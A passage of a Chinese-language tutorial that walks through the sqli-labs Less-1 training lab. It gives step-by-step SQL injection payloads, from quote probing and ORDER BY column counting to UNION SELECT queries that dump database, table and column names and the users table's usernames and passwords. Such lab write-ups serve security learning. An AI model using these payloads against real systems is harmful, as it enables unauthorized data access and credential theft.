在网站上不断地进行奇怪字符串添加看是否产生报错显示,报错后,再添加注释符查看是否还会报错。
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1’ 【单引号】http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1” 【双引号】http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1)【单括号】http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1')【单引号+括号】http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1")【双引号+括号】http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1'%23【单引号+注释#/%23/--+】http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1' and '1'='1【and/or/||/&&+等式】 2.查找数据表字段数order by通过上面我们可以知道语句为单引号闭合,因此,接下来我们可以通过order by -99查找数据表的字段数。
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=1' order by 4 %23 3.union注入,观察页面显示通过上面的order by子句,因此我们可以试着使用union 注入,进行判断输入在页面的的显示情况,由图可知,页面在union select 1,2,3 中的2和3位置显示字段。
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1, 2, 3 %23 4.获取相关信息 4.1、infomation_schema.shemata获取数据库相关信息通过上面的页面显示,我们可以知道当令id=-1时,页面上将会有两个显示字段,因此我们可以在输出数据库名字和用户名。
http://192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1, database(), user() %23如下,我们通过schemata表获取所有数据库的payload。
192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name ),3 from information_schema.schemata%23输出结果如下:
4.2、information_schema.tables获取表名如下,我们通过tables获取指定数据库的所有表名,通过图片显示,我们可以知道,security数据库中一共含有四个表,分别是Your Login name:emails,referers,uagents,users ,
192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"%23 4.3、information_schema.cloumns获取字段名(可以指定)如下,为通过information_schema.cloumns获取security数据库中users表的字段名。由图可知,users表中有是三个字段,分别是:id, username, password。
192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"%23 4.4、获取对应字段的值192.168.31.61:8081/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(username),group_concat(password) from users where database()=“security”%23
输出如下图所示:可显示的两个字段分别输出username和password字段的值。
5、information_schema知识拓展 5.1、information_schema.schemata表中的字段信息 SELECT * FROM information_schema.schemata 5.2、information_schema.tables表中的字段信息 select * from information_schema.tables 5.3、information_schema.cloumns表中的字段信息 select * from information_schema.columns 5.4、group_concat()函数参考